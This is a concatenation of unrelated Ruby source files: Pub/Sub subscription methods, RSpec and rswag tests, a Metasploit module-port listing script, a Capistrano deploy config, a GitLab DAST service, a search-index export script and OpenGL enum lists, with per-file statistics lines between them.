# received_message.acknowledge!
# end
#
def wait_for_messages max: 100
pull immediate: false, max: max
end
##
# Create a {Subscriber} object that receives and processes messages
# using the code provided in the callback. Messages passed to the
# callback should acknowledge ({ReceivedMessage#acknowledge!}) or reject
# ({ReceivedMessage#reject!}) the message. If no action is taken, the
# message will be removed from the subscriber and made available for
# redelivery after the callback is completed.
#
# Google Cloud Pub/Sub ordering keys provide the ability to ensure
# related messages are sent to subscribers in the order in which they
# were published. Messages can be tagged with an ordering key, a string
# that identifies related messages for which publish order should be
# respected. The service guarantees that, for a given ordering key and
# publisher, messages are sent to subscribers in the order in which they
# were published. Ordering does not require sacrificing high throughput
# or scalability, as the service automatically distributes messages for
# different ordering keys across subscribers.
#
# To use ordering keys, the subscription must be created with message
# ordering enabled (See {Topic#subscribe} and {#message_ordering?})
# before calling {#listen}. When enabled, the subscriber will deliver
# messages with the same `ordering_key` in the order they were
# published.
#
# @note At the time of this release, ordering keys are not yet publicly
# enabled and requires special project enablements.
#
# @param [Numeric] deadline The default number of seconds the stream
# will hold received messages before modifying the message's ack
# deadline. The minimum is 10, the maximum is 600. Default is
# {#deadline}. Optional.
#
# When using a reference object an API call will be made to retrieve
# the default deadline value for the subscription when this argument
# is not provided. See {#reference?}.
# @param [Boolean] message_ordering Whether message ordering has been
# enabled. The value provided must match the value set on the Pub/Sub
# service. See {#message_ordering?}. Optional.
#
# When using a reference object an API call will be made to retrieve
# the default message_ordering value for the subscription when this
# argument is not provided. See {#reference?}.
# @param [Integer] streams The number of concurrent streams to open to
# pull messages from the subscription. Default is 4. Optional.
# @param [Hash, Integer] inventory The settings to control how received messages are to be handled by the
# subscriber. When provided as an Integer instead of a Hash only the `limit` will be set. Optional.
#
# Hash keys and values may include the following:
#
# * `:max_outstanding_messages` [Integer] The number of received messages to be collected by subscriber.
# Default is 1,000. (Note: replaces `:limit`, which is deprecated.)
# * `:max_outstanding_bytes` [Integer] The total byte size of received messages to be collected by
# subscriber. Default is 100,000,000 (100MB). (Note: replaces `:bytesize`, which is deprecated.)
# * `:max_total_lease_duration` [Integer] The number of seconds that received messages can be held awaiting
# processing. Default is 3,600 (1 hour). (Note: replaces `:extension`, which is deprecated.)
# * `:max_duration_per_lease_extension` [Integer] The maximum amount of time in seconds for a single lease
# extension attempt. Bounds the delay before a message redelivery if the subscriber fails to extend the
# deadline. Default is 0 (disabled).
# @param [Hash] threads The number of threads to create to handle
# concurrent calls by each stream opened by the subscriber. Optional.
#
# Hash keys and values may include the following:
#
# * `:callback` (Integer) The number of threads used to handle the
# received messages. Default is 8.
# * `:push` (Integer) The number of threads to handle
# acknowledgement ({ReceivedMessage#ack!}) and modify ack deadline
# messages ({ReceivedMessage#nack!},
# {ReceivedMessage#modify_ack_deadline!}). Default is 4.
#
# @yield [received_message] a block for processing new messages
# @yieldparam [ReceivedMessage] received_message the newly received
# message
#
# @return [Subscriber]
#
# @example
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
#
# sub = pubsub.subscription "my-topic-sub"
#
# subscriber = sub.listen do |received_message|
# # process message
# received_message.acknowledge!
# end
#
# # Start background threads that will call block passed to listen.
# subscriber.start
#
# # Shut down the subscriber when ready to stop receiving messages.
# subscriber.stop.wait!
#
# @example Configuring to increase concurrent callbacks:
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
#
# sub = pubsub.subscription "my-topic-sub"
#
# subscriber = sub.listen threads: { callback: 16 } do |rec_message|
# # store the message somewhere before acknowledging
# store_in_backend rec_message.data # takes a few seconds
# rec_message.acknowledge!
# end
#
# # Start background threads that will call block passed to listen.
# subscriber.start
#
# # Shut down the subscriber when ready to stop receiving messages.
# subscriber.stop.wait!
#
# @example Ordered messages are supported using ordering_key:
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
#
# sub = pubsub.subscription "my-ordered-topic-sub"
# sub.message_ordering? #=> true
#
# subscriber = sub.listen do |received_message|
# # messsages with the same ordering_key are received
# # in the order in which they were published.
# received_message.acknowledge!
# end
#
# # Start background threads that will call block passed to listen.
# subscriber.start
#
# # Shut down the subscriber when ready to stop receiving messages.
# subscriber.stop.wait!
#
# @example Set the maximum amount of time before redelivery if the subscriber fails to extend the deadline:
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
#
# sub = pubsub.subscription "my-topic-sub"
#
# subscriber = sub.listen inventory: { max_duration_per_lease_extension: 20 } do |received_message|
# # Process message very slowly with possibility of failure.
# process rec_message.data # takes minutes
# rec_message.acknowledge!
# end
#
# # Start background threads that will call block passed to listen.
# subscriber.start
#
# # Shut down the subscriber when ready to stop receiving messages.
# subscriber.stop.wait!
#
def listen deadline: nil, message_ordering: nil, streams: nil, inventory: nil, threads: {}, &block
ensure_service!
deadline ||= self.deadline
message_ordering = message_ordering? if message_ordering.nil?
Subscriber.new name, block, deadline: deadline, streams: streams, inventory: inventory,
message_ordering: message_ordering, threads: threads, service: service
end
##
# Acknowledges receipt of a message. After an ack,
# the Pub/Sub system can remove the message from the subscription.
# Acknowledging a message whose ack deadline has expired may succeed,
# although the message may have been sent again.
# Acknowledging a message more than once will not result in an error.
# This is only used for messages received via pull.
#
# See also {ReceivedMessage#acknowledge!}.
#
# @param [ReceivedMessage, String] messages One or more
# {ReceivedMessage} objects or ack_id values.
#
# @example
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
#
# sub = pubsub.subscription "my-topic-sub"
# received_messages = sub.pull
# sub.acknowledge received_messages
#
def acknowledge *messages
ack_ids = coerce_ack_ids messages
return true if ack_ids.empty?
ensure_service!
service.acknowledge name, *ack_ids
true
end
alias ack acknowledge
##
# Modifies the acknowledge deadline for messages.
#
# This indicates that more time is needed to process the messages, or to
# make the messages available for redelivery if the processing was
# interrupted.
#
# See also {ReceivedMessage#modify_ack_deadline!}.
#
# @param [Integer] new_deadline The new ack deadline in seconds from the
# time this request is sent to the Pub/Sub system. Must be >= 0. For
# example, if the value is `10`, the new ack deadline will expire 10
# seconds after the call is made. Specifying `0` may immediately make
# the message available for another pull request.
# @param [ReceivedMessage, String] messages One or more
# {ReceivedMessage} objects or ack_id values.
#
# @example
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
#
# sub = pubsub.subscription "my-topic-sub"
# received_messages = sub.pull
# sub.modify_ack_deadline 120, received_messages
#
def modify_ack_deadline new_deadline, *messages
ack_ids = coerce_ack_ids messages
ensure_service!
service.modify_ack_deadline name, ack_ids, new_deadline
true
end
##
# Creates a new {Snapshot} from the subscription. The created snapshot
# is guaranteed to retain:
#
# * The existing backlog on the subscription. More precisely, this is
# defined as the messages in the subscription's backlog that are
# unacknowledged upon the successful completion of the
# `create_snapshot` operation; as well as:
# * Any messages published to the subscription's topic following the
# successful completion of the `create_snapshot` operation.
#
# @param [String, nil] snapshot_name Name of the new snapshot. If the
# name is not provided, the server will assign a random name
# for this snapshot on the same project as the subscription. The
# format is `projects/{project}/snapshots/{snap}`. The name must start
# with a letter, and contain only letters ([A-Za-z]), numbers
# ([0-9], dashes (-), underscores (_), periods (.), tildes (~), plus
# (+) or percent signs (%). It must be between 3 and 255 characters in
# length, and it must not start with "goog". Optional.
# @param [Hash] labels A hash of user-provided labels associated with
# the snapshot. You can use these to organize and group your
# snapshots. Label keys and values can be no longer than 63
# characters, can only contain lowercase letters, numeric characters,
# underscores and dashes. International characters are allowed. Label
# values are optional. Label keys must start with a letter and each
# label in the list must have a different key. See [Creating and
# Managing Labels](https://cloud.google.com/pubsub/docs/labels).
#
# @return [Google::Cloud::PubSub::Snapshot]
#
# @example
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
# sub = pubsub.subscription "my-sub"
#
# snapshot = sub.create_snapshot "my-snapshot"
# snapshot.name #=> "projects/my-project/snapshots/my-snapshot"
#
# @example Without providing a name:
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
# sub = pubsub.subscription "my-sub"
#
# snapshot = sub.create_snapshot
# snapshot.name #=> "projects/my-project/snapshots/gcr-analysis-..."
#
def create_snapshot snapshot_name = nil, labels: nil
ensure_service!
grpc = service.create_snapshot name, snapshot_name, labels: labels
Snapshot.from_grpc grpc, service
end
alias new_snapshot create_snapshot
##
# Resets the subscription's backlog to a given {Snapshot} or to a point
# in time, whichever is provided in the request.
#
# @param [Snapshot, String, Time] snapshot The `Snapshot` instance,
# snapshot name, or time to which to perform the seek.
# If the argument is a snapshot, the snapshot's topic must be the
# same as that of the subscription. If it is a time, messages retained
# in the subscription that were published before this time are marked
# as acknowledged, and messages retained in the subscription that were
# published after this time are marked as unacknowledged. Note that
# this operation affects only those messages retained in the
# subscription. For example, if the time corresponds to a point before
# the message retention window (or to a point before the system's
# notion of the subscription creation time), only retained messages
# will be marked as unacknowledged, and already-expunged messages will
# not be restored.
#
# @return [Boolean] Returns `true` if the seek was successful.
#
# @example Using a snapshot
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
# sub = pubsub.subscription "my-sub"
#
# snapshot = sub.create_snapshot
#
# received_messages = sub.pull
# sub.acknowledge received_messages
#
# sub.seek snapshot
#
# @example Using a time:
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
# sub = pubsub.subscription "my-sub"
#
# time = Time.now
#
# received_messages = sub.pull
# sub.acknowledge received_messages
#
# sub.seek time
#
def seek snapshot
ensure_service!
service.seek name, snapshot
true
end
##
# Determines whether the subscription object was created without
# retrieving the resource representation from the Pub/Sub service.
#
# @return [Boolean] `true` when the subscription was created without a
# resource representation, `false` otherwise.
#
# @example
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
#
# sub = pubsub.get_subscription "my-topic-sub", skip_lookup: true
# sub.reference? #=> true
#
def reference?
@grpc.nil?
end
##
# Determines whether the subscription object was created with a resource
# representation from the Pub/Sub service.
#
# @return [Boolean] `true` when the subscription was created with a
# resource representation, `false` otherwise.
#
# @example
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
#
# sub = pubsub.get_subscription "my-topic-sub"
# sub.resource? #=> true
#
def resource?
[email protected]?
end
##
# Reloads the subscription with current data from the Pub/Sub service.
#
# @return [Google::Cloud::PubSub::Subscription] Returns the reloaded
# subscription
#
# @example
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
#
# sub = pubsub.get_subscription "my-topic-sub"
# sub.reload!
#
def reload!
ensure_service!
@grpc = service.get_subscription name
@resource_name = nil
self
end
alias refresh! reload!
##
# Gets the [Cloud IAM](https://cloud.google.com/iam/) access control
# policy for this subscription.
#
# @see https://cloud.google.com/pubsub/docs/reference/rpc/google.iam.v1#iampolicy
# google.iam.v1.IAMPolicy
#
# @yield [policy] A block for updating the policy. The latest policy
# will be read from the Pub/Sub service and passed to the block. After
# the block completes, the modified policy will be written to the
# service.
# @yieldparam [Policy] policy the current Cloud IAM Policy for this
# subscription
#
# @return [Policy] the current Cloud IAM Policy for this subscription
#
# @example
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
# sub = pubsub.subscription "my-subscription"
#
# policy = sub.policy
#
# @example Update the policy by passing a block:
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
# sub = pubsub.subscription "my-subscription"
#
# sub.policy do |p|
# p.add "roles/owner", "user:[email protected]"
# end
#
def policy
ensure_service!
grpc = service.get_subscription_policy name
policy = Policy.from_grpc grpc
return policy unless block_given?
yield policy
update_policy policy
end
##
# Updates the [Cloud IAM](https://cloud.google.com/iam/) access control
# policy for this subscription. The policy should be read from
# {#policy}. See {Google::Cloud::PubSub::Policy} for an explanation of
# the policy `etag` property and how to modify policies.
#
# You can also update the policy by passing a block to {#policy}, which
# will call this method internally after the block completes.
#
# @see https://cloud.google.com/pubsub/docs/reference/rpc/google.iam.v1#iampolicy
# google.iam.v1.IAMPolicy
#
# @param [Policy] new_policy a new or modified Cloud IAM Policy for this
# subscription
#
# @return [Policy] the policy returned by the API update operation
#
# @example
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
# sub = pubsub.subscription "my-subscription"
#
# policy = sub.policy # API call
#
# policy.add "roles/owner", "user:[email protected]"
#
# sub.update_policy policy # API call
#
def update_policy new_policy
ensure_service!
grpc = service.set_subscription_policy name, new_policy.to_grpc
Policy.from_grpc grpc
end
alias policy= update_policy
##
# Tests the specified permissions against the [Cloud
# IAM](https://cloud.google.com/iam/) access control policy.
#
# @see https://cloud.google.com/iam/docs/managing-policies Managing
# Policies
#
# @param [String, Array<String>] permissions The set of permissions to
# check access for. Permissions with wildcards (such as `*` or
# `storage.*`) are not allowed.
#
# The permissions that can be checked on a subscription are:
#
# * pubsub.subscriptions.consume
# * pubsub.subscriptions.get
# * pubsub.subscriptions.delete
# * pubsub.subscriptions.update
# * pubsub.subscriptions.getIamPolicy
# * pubsub.subscriptions.setIamPolicy
#
# @return [Array<String>] The permissions that have access.
#
# @example
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
# sub = pubsub.subscription "my-subscription"
# perms = sub.test_permissions "pubsub.subscriptions.get",
# "pubsub.subscriptions.consume"
# perms.include? "pubsub.subscriptions.get" #=> true
# perms.include? "pubsub.subscriptions.consume" #=> false
#
def test_permissions *permissions
permissions = Array(permissions).flatten
ensure_service!
grpc = service.test_subscription_permissions name, permissions
grpc.permissions
end
##
# @private
# New Subscription from a Google::Cloud::PubSub::V1::Subscription
# object.
def self.from_grpc grpc, service
new.tap do |f|
f.grpc = grpc
f.service = service
end
end
##
# @private New reference {Subscription} object without making an HTTP
# request.
def self.from_name name, service, options = {}
name = service.subscription_path name, options
from_grpc(nil, service).tap do |s|
s.instance_variable_set :@resource_name, name
end
end
protected
##
# @private Raise an error unless an active connection to the service is
# available.
def ensure_service!
raise "Must have active connection to service" unless service
end
##
# Ensures a Google::Cloud::PubSub::V1::Subscription object exists.
def ensure_grpc!
ensure_service!
reload! if reference?
end
##
# Makes sure the values are the `ack_id`. If given several
# {ReceivedMessage} objects extract the `ack_id` values.
def coerce_ack_ids messages
Array(messages).flatten.map do |msg|
msg.respond_to?(:ack_id) ? msg.ack_id : msg.to_s
end
end
end
end
Pubsub = PubSub unless const_defined? :Pubsub
end
end
| 40.835955 | 120 | 0.605822 |
18fa50fb0d7f0fac3cf709fd8b6d38cece239942 | 1,679 | # Copyright (c) 2018-2019 VMware, Inc. All Rights Reserved.
# SPDX-License-Identifier: MIT
# DO NOT MODIFY. THIS CODE IS GENERATED. CHANGES WILL BE OVERWRITTEN.
# vcenter - VMware vCenter Server provides a centralized platform for managing your VMware vSphere environments
require 'spec_helper'
require 'json'
require 'date'
# Unit tests for VSphereAutomation::VCenter::VcenterSystemConfigDeploymentTypeConvergenceSpec
# Automatically generated by openapi-generator (https://openapi-generator.tech)
# Please update as you see appropriate
describe 'VcenterSystemConfigDeploymentTypeConvergenceSpec' do
before do
# run before each test
@instance = VSphereAutomation::VCenter::VcenterSystemConfigDeploymentTypeConvergenceSpec.new
end
after do
# run after each test
end
describe 'test an instance of VcenterSystemConfigDeploymentTypeConvergenceSpec' do
it 'should create an instance of VcenterSystemConfigDeploymentTypeConvergenceSpec' do
expect(@instance).to be_instance_of(VSphereAutomation::VCenter::VcenterSystemConfigDeploymentTypeConvergenceSpec)
end
end
describe 'test attribute "psc"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "replication_partner_hostname"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "only_precheck"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
end
| 33.58 | 119 | 0.771888 |
6aba605970f9652e42b26d0ad2887236ca5f4b74 | 1,025 | require 'swagger_helper'
describe 'Users API' do
path '/users' do
post 'Registers a new user' do
tags 'Users'
consumes 'application/json'
parameter name: :user, in: :body, schema: {
type: :object,
properties: {
name: { type: :string },
email: { type: :string },
password: { type: :string },
phone: {type: :string},
}
}
response '200', 'User registered' do
let(:user) { {name: 'John Smith', email: '[email protected]', password: 'password123', phone: '555-111-2222'}}
run_test!
end
end
get 'Fetches a list of all users' do
tags 'Users'
produces 'application/json'
response '200', 'User list generated' do
run_test!
end
end
end
path '/users/{id}' do
get 'Describe User' do
tags 'Users'
produces 'application/json'
response '200', 'User list generated' do
run_test!
end
end
end
end | 21.808511 | 122 | 0.539512 |
623e6047c05b0658c46840ba2d0753ca92b401c7 | 1,467 | # frozen_string_literal: true
class Systems::ParseTemplate
include Dry::Monads[:result, :do]
SYSTEM_SCHEMA = Dry::Schema.Params do
required(:name).filled(:string)
required(:file).filled(:any)
required(:data_file).filled(:any)
required(:private_data_file).maybe(:any)
end
def call(input)
parse(yield validate(input))
end
private
def validate(input)
result = SYSTEM_SCHEMA.call(input)
if result.success?
Success(result.to_h)
else
Failure(message: result.errors.to_h, status: 422)
end
end
def parse(input)
private_data = parse_private_data(input[:private_data_file])
data = parse_data(input[:data_file])
template = open_template(input[:file])
template.scan(/("\$(\w*)")/).each do |matchers|
reg, key = matchers
text = (private_data[key] || data[key] || key).to_json
new_temp = template.sub(reg, text)
template = new_temp
end
Success(name: input[:name], template: JSON.parse(template, symbolize_names: true))
end
def open_template(template_file)
file = template_file.read
file.force_encoding 'UTF-8'
end
def parse_private_data(private_data_file)
return {} if private_data_file.blank? || private_data_file == 'null'
file = private_data_file.read
file.force_encoding 'UTF-8'
JSON.parse(file)
end
def parse_data(data_file)
file = data_file.read
file.force_encoding 'UTF-8'
JSON.parse(file)
end
end
| 23.66129 | 86 | 0.681663 |
39048f2b57e983a11e98e40e39d71d80deb80245 | 1,156 | #!/usr/bin/env ruby
#
# $Id$
#
# This script lists each module by the default ports it uses
#
# $Revision$
#
msfbase = __FILE__
while File.symlink?(msfbase)
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
end
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib')))
require 'fastlib'
require 'msfenv'
$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']
require 'rex'
require 'msf/ui'
require 'msf/base'
# Initialize the simplified framework instance.
$framework = Msf::Simple::Framework.create('DisableDatabase' => true)
all_modules = $framework.exploits.merge($framework.auxiliary)
all_ports = {}
all_modules.each_module { |name, mod|
x = mod.new
ports = []
if x.datastore['RPORT']
ports << x.datastore['RPORT']
end
if(x.respond_to?('autofilter_ports'))
x.autofilter_ports.each do |rport|
ports << rport
end
end
ports = ports.map{|p| p.to_i}
ports.uniq!
ports.sort{|a,b| a <=> b}.each do |rport|
# Just record the first occurance.
all_ports[rport] = x.fullname unless all_ports[rport]
end
}
all_ports.sort.each { |k,v|
puts "%5s # %s" % [k,v]
}
| 21.018182 | 75 | 0.679066 |
627fa131021b9bde1859703207f688a65a8c3db9 | 65 | module Cells
module Handlebars
VERSION = "0.2.2"
end
end
| 10.833333 | 21 | 0.661538 |
1d0dec02498daf6077713b135be1b6084563f6c3 | 474 | require 'chef/mixin/shell_out'
# helpers for testing bluepill
module BluepillTestHelpers
include Chef::Mixin::ShellOut
include MiniTest::Chef::Assertions
include MiniTest::Chef::Context
include MiniTest::Chef::Resources
MiniTest::Chef::Resources.register_resource(:bluepill_service)
MiniTest::Chef::Infections.infect_resource(:bluepill_service, :enabled, :be_enabled)
MiniTest::Chef::Infections.infect_resource(:bluepill_service, :running, :be_running)
end
| 31.6 | 86 | 0.799578 |
01d5ff0793146ab183d31bb5356e6869f0aad17f | 459 | cask 'patchwork' do
version '3.9.0'
sha256 'b2af77bdc568a6b005df1de1526d6901b6b87d80685abd4109c90daa7ff9e4a3'
url "https://github.com/ssbc/patchwork/releases/download/v#{version}/Patchwork-#{version}-mac.dmg"
appcast 'https://github.com/ssbc/patchwork/releases.atom',
checkpoint: 'c758b28773840d0f3b2ea36118d3399cfbd317fc4e8823d0756edc82ccc0c0f4'
name 'Patchwork'
homepage 'https://github.com/ssbc/patchwork'
app 'Patchwork.app'
end
| 35.307692 | 100 | 0.777778 |
03e3171c4c1031c8495c75279f660761a47e379b | 781 | require 'twitter/enumerable'
module Twitter
class GeoResults
include Twitter::Enumerable
attr_reader :attrs
alias to_h attrs
alias to_hash attrs
alias to_hsh attrs
class << self
# Construct a new SearchResults object from a response hash
#
# @param response [Hash]
# @return [Twitter::Base]
def from_response(response={})
new(response[:body])
end
end
# Initializes a new SearchResults object
#
# @param attrs [Hash]
# @return [Twitter::GeoResults]
def initialize(attrs={})
@attrs = attrs
@collection = Array(@attrs[:result][:places]).map do |place|
Place.new(place)
end
end
# @return [String]
def token
@attrs[:token]
end
end
end
| 19.04878 | 66 | 0.608195 |
7928beb79fa0c4973d3d90ef395a0e1fee3dbe1d | 372 | require File.expand_path(File.dirname(__FILE__)) + '/test_helper'
class HasAndBelongsToManyAssociationTest < Test::Unit::TestCase
def test_create_associated_has_and_belongs_to_many_models
Hickey.dump :user => {:login => 'xli', :countries => [{:name => 'China'}]}
assert_equal 1, user.countries.size
assert_equal 'China', user.countries.first.name
end
end | 37.2 | 78 | 0.747312 |
1a05a78216c0d9ead9c9b19fd4c2443c3806d12c | 288 | require_relative 'card'
class Deck
attr_reader :cards
def initialize
@cards = Array.new
Card.values.each { |value| Card.suits.each { |suit| @cards << Card.new(value, suit) } }
end
def deal_cards(n)
deck.pop(n)
end
def shuffle
@cards.shuffle!
end
end | 15.157895 | 91 | 0.638889 |
186de54a8b8832520c705258a8eb809336083077 | 1,854 | # frozen_string_literal: true
module Dast
module Profiles
class UpdateService < BaseContainerService
include Gitlab::Utils::StrongMemoize
def execute
return unauthorized unless allowed?
return error('Profile parameter missing') unless dast_profile
return error(dast_profile.errors.full_messages) unless dast_profile.update(dast_profile_params)
return success(dast_profile: dast_profile, pipeline_url: nil) unless params[:run_after_update]
response = create_scan(dast_profile)
return response if response.error?
success(dast_profile: dast_profile, pipeline_url: response.payload.fetch(:pipeline_url))
end
private
def allowed?
container.feature_available?(:security_on_demand_scans) &&
Feature.enabled?(:dast_saved_scans, container, default_enabled: :yaml) &&
can?(current_user, :create_on_demand_dast_scan, container)
end
def error(message, opts = {})
ServiceResponse.error(message: message, **opts)
end
def success(payload)
ServiceResponse.success(payload: payload)
end
def unauthorized
error('You are not authorized to update this profile', http_status: 403)
end
def dast_profile
params[:dast_profile]
end
def dast_profile_params
params.slice(:dast_site_profile_id, :dast_scanner_profile_id, :name, :description, :branch_name)
end
def create_scan(dast_profile)
params = {
dast_site_profile: dast_profile.dast_site_profile,
dast_scanner_profile: dast_profile.dast_scanner_profile
}
::DastOnDemandScans::CreateService.new(
container: container,
current_user: current_user,
params: params
).execute
end
end
end
end
| 28.523077 | 104 | 0.679612 |
abc96cd1275e2012dc15b62b6695d5653780d927 | 1,608 | set :application, "spree-demo"
# If you aren't deploying to /u/apps/#{application} on the target
# servers (which is the default), you can specify the actual location
# via the :deploy_to variable:
set :deploy_to, "/home/spreedemo/live"
# If you aren't using Subversion to manage your source code, specify
# your SCM below:
# set :scm, :subversion
set :scm, :git
set :repository, "git://github.com/schof/spree-demo.git"
set :branch, "master"
set :git_enable_submodules, true
server "sl4-spree.endpoint.com", :app, :web, :db, :primary => true
#role :app, "your app-server here"
#role :web, "your web-server here"
#role :db, "your db-server here", :primary => true
set :user, "spreedemo"
set :use_sudo, false
set :deploy_via, :remote_cache
namespace :deploy do
desc "Tells Passenger to restart the app."
task :restart do
#run "cd #{release_path}; mongrel_rails cluster::restart"
run "touch #{current_path}/tmp/restart.txt"
end
desc "Sylink shared configs and folders on each release."
task :symlink_shared do
run "ln -nfs #{shared_path}/config/database.yml #{release_path}/config/database.yml"
end
desc "Run the rake bootstrap task."
task :rake_bootstrap do
run("cd #{release_path}; rake db:bootstrap RAILS_ENV=demo AUTO_ACCEPT=true")
end
desc "Update to Spree edge (instead of lastes commit for submodule)"
task :update_to_edge do
run("cd #{release_path}/vendor/spree; git pull origin master")
end
end
after 'deploy:update_code', 'deploy:symlink_shared'
after 'deploy:update_code', 'deploy:update_to_edge'
after 'deploy:update_code', 'deploy:rake_bootstrap' | 34.956522 | 88 | 0.730721 |
398db00706abdbd0e8f95a761334d5932c8efdb9 | 894 | require_relative 'value_format'
# Arguments for ‘variables’ request.
class DAP::VariablesArguments < DAP::Base
# The Variable reference.
property :variablesReference, as: 'number'
# Optional filter to limit the child variables to either named or indexed. If omitted, both types are fetched.
# Values: 'indexed', 'named', etc.
property :filter, required: false, as: 'string'
# The index of the first variable to return; if omitted children start at 0.
property :start, required: false, as: 'number'
# The number of variables to return. If count is missing or 0, all variables are returned.
property :count, required: false, as: 'number'
# Specifies details on how to format the Variable values.
# The attribute is only honored by a debug adapter if the capability 'supportsValueFormattingOptions' is true.
property :format, required: false, as: DAP::ValueFormat
end
| 40.636364 | 112 | 0.746085 |
e20d36720b07995f27905c9d63759743444447ed | 2,865 | #!/usr/bin/env ruby
# Export, to stdout, a dump of all data needed to rebuild search indexes.
# By default, exports the data for the "government" search index. If the
# --detailed flag is supplied on the command line, exports the data for the
# "detailed" search index.
#
# Providing an EXPORT_DIRECTORY environment variable will
# output multiple files to the directory and perform the dump
# in a parallel manner, one sub-process per CPU/core.
$LOAD_PATH << File.expand_path("../", File.dirname(__FILE__))
require "pathname"
require "logger"
logger = Logger.new(STDERR)
logger.info "Booting rails..."
require "config/environment"
logger.info "Booted"
classes_to_index = if ARGV.include?("--detailed")
[DetailedGuide]
else
RummagerPresenters.searchable_classes_for_government_index
end
id_groups = []
classes_to_index.each do |klass|
id_groups += klass.searchable_instances.pluck(:id).each_slice(1_000).map do |id_group|
[klass, id_group]
end
end
def export_classes(classes_to_index, id_groups)
if ENV["EXPORT_DIRECTORY"]
export_directory = Pathname.new(ENV["EXPORT_DIRECTORY"]).expand_path
if export_directory.exist? && export_directory.children.any?
puts "#{ENV['EXPORT_DIRECTORY']} exists and is not empty, aborting"
exit
else
puts "Starting export of #{id_groups.count} files to #{ENV['EXPORT_DIRECTORY']}"
end
export_directory.mkpath
Parallel.each_with_index(id_groups) do |(klass, id_group), index|
file_path = export_directory + "#{klass.name.downcase}-#{index}.esdump"
logger.info "Exporting #{klass.name.downcase}-#{index}.esdump"
File.open(file_path.to_s, "w") do |output|
yield(klass, output, id_group)
end
end
else
classes_to_index.each do |klass|
yield(klass, STDOUT)
end
end
end
def output_es_line(obj, output)
max_retry_count = 5
begin
search_index = obj.search_index
rescue StandardError
max_retry_count -= 1
if max_retry_count <= 0
raise
else
logger.warn("Export of #{obj.class.name}##{obj.id} failed, #{max_retry_count} retries left")
sleep 5
retry
end
end
output.puts %({"index": {"_type": "edition", "_id": "#{search_index['link']}"}})
output.puts search_index.to_json
end
export_classes(classes_to_index, id_groups) do |klass, output, id_group|
association = klass.searchable_instances
eager_loads = %i[document organisations attachments world_locations]
eager_loads.each do |sym|
if klass.reflect_on_association(sym)
association = association.includes(sym)
end
end
if id_group
association.where(id: id_group).each do |obj|
output_es_line(obj, output)
end
else
association.find_each do |obj|
output_es_line(obj, output)
end
end
end
| 29.234694 | 98 | 0.69459 |
f71f61ce40fa3c89d8bd0defbf0a2f6ad29a9d3e | 200,044 | # opengl-bindings
# * http://rubygems.org/gems/opengl-bindings
# * http://github.com/vaiorabbit/ruby-opengl
#
# [NOTICE] This is an automatically generated file.
module OpenGLExt
def self.get_ext_enum_GL_3DFX_multisample
[
'GL_MULTISAMPLE_3DFX',
'GL_SAMPLE_BUFFERS_3DFX',
'GL_SAMPLES_3DFX',
'GL_MULTISAMPLE_BIT_3DFX',
]
end # self.get_ext_enum_GL_3DFX_multisample
def self.get_ext_enum_GL_3DFX_tbuffer
[
]
end # self.get_ext_enum_GL_3DFX_tbuffer
def self.get_ext_enum_GL_3DFX_texture_compression_FXT1
[
'GL_COMPRESSED_RGB_FXT1_3DFX',
'GL_COMPRESSED_RGBA_FXT1_3DFX',
]
end # self.get_ext_enum_GL_3DFX_texture_compression_FXT1
def self.get_ext_enum_GL_AMD_blend_minmax_factor
[
'GL_FACTOR_MIN_AMD',
'GL_FACTOR_MAX_AMD',
]
end # self.get_ext_enum_GL_AMD_blend_minmax_factor
def self.get_ext_enum_GL_AMD_conservative_depth
[
]
end # self.get_ext_enum_GL_AMD_conservative_depth
def self.get_ext_enum_GL_AMD_debug_output
[
'GL_MAX_DEBUG_MESSAGE_LENGTH_AMD',
'GL_MAX_DEBUG_LOGGED_MESSAGES_AMD',
'GL_DEBUG_LOGGED_MESSAGES_AMD',
'GL_DEBUG_SEVERITY_HIGH_AMD',
'GL_DEBUG_SEVERITY_MEDIUM_AMD',
'GL_DEBUG_SEVERITY_LOW_AMD',
'GL_DEBUG_CATEGORY_API_ERROR_AMD',
'GL_DEBUG_CATEGORY_WINDOW_SYSTEM_AMD',
'GL_DEBUG_CATEGORY_DEPRECATION_AMD',
'GL_DEBUG_CATEGORY_UNDEFINED_BEHAVIOR_AMD',
'GL_DEBUG_CATEGORY_PERFORMANCE_AMD',
'GL_DEBUG_CATEGORY_SHADER_COMPILER_AMD',
'GL_DEBUG_CATEGORY_APPLICATION_AMD',
'GL_DEBUG_CATEGORY_OTHER_AMD',
]
end # self.get_ext_enum_GL_AMD_debug_output
def self.get_ext_enum_GL_AMD_depth_clamp_separate
[
'GL_DEPTH_CLAMP_NEAR_AMD',
'GL_DEPTH_CLAMP_FAR_AMD',
]
end # self.get_ext_enum_GL_AMD_depth_clamp_separate
def self.get_ext_enum_GL_AMD_draw_buffers_blend
[
]
end # self.get_ext_enum_GL_AMD_draw_buffers_blend
